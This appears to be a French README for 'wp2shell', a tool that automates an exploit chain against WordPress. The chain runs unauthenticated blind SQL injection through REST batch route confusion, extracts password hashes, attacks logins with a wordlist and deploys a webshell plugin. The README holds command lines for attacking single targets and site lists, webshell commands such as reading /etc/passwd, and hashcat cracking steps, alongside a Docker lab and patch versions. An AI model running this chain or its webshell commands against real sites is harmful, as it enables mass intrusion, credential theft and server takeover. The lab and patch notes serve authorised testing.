wp2shell

Injection SQL aveugle par confusion de route du batch REST WordPress — chaîne d'exploitation automatisée.

CVE-2026-63030 / CVE-2026-60137

Réservé aux tests de sécurité autorisés.

Comment ça fonctionne

Le point de terminaison batch de l'API REST WordPress (/wp-json/batch/v1) accepte les requêtes batch imbriquées. Un payload de désynchronisation doublement imbriqué décale les tableaux internes $matches / $validation, orientant une valeur author_exclude construite vers le SQL author__not_in sans assainissement. Cela permet une injection SQL aveugle booléenne et temporelle non authentifiée.

Chaîne d'exploitation — 4 phases :

Phase 1  Vulnerability check     batch marker probe + optional SQL timing
Phase 2  Hash harvest            blind SQLi extracts wp_users (login + hash)
Phase 3  Authentication          wordlist attack via wp-login.php
Phase 4  Webshell deployment     plugin ZIP upload -> RCE verify

Prérequis

• Python 3.8+
• aiohttp
• colorama

pip install aiohttp colorama

Utilisation

Cible unique

python wp2shell.py http://target.com

Liste de sites (une URL par ligne)

python wp2shell.py sites.txt

Liste de sites + fichier de mots de passe personnalisé

python wp2shell.py sites.txt -p pass.txt

Identifiants connus (ignorer la wordlist)

python wp2shell.py http://target.com --user admin --password admin123

Confirmer la SQLi par temporisation

python wp2shell.py http://target.com --confirm-sqli

Sans permaliens personnalisés

python wp2shell.py http://target.com --rest-route

Via le proxy Burp

python wp2shell.py http://target.com --proxy http://127.0.0.1:8080

Options

Fichiers générés

Tous les fichiers sont ouverts en mode ajout — les résultats s'accumulent au fil des exécutions.

Utilisation du webshell — ajoutez ?cmd=COMMAND à l'URL dans webshell.txt :

# browser
http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id

# curl
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id"
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=cat+/etc/passwd"

Casse hors ligne

Si la wordlist échoue, creds.txt contient le hash extrait :

hashcat -m 400 creds.txt wordlist.txt

Relancez ensuite avec le mot de passe trouvé :

python wp2shell.py http://target.com --user admin --password <plaintext>

Laboratoire local (Docker)

Déploie une instance WordPress 7.0.1 vulnérable pour des tests locaux en toute sécurité.

Première exécution — construire les volumes et installer WordPress :

docker compose up -d db wordpress
docker compose run --rm wpcli

Démarrages suivants :

docker compose up -d db wordpress

Arrêt :

docker compose down

Réinitialisation complète (efface toutes les données) :

docker compose down -v

Lancer l'exploit contre le laboratoire :

python wp2shell.py http://localhost:8080

Correctif

Mettez à jour vers WordPress 6.9.5 ou 7.0.2. Le correctif valide la route batch avant de traiter les requêtes imbriquées, empêchant la désynchronisation qui expose le sink SQL.

Légal

À utiliser uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test. Toute utilisation non autorisée est illégale.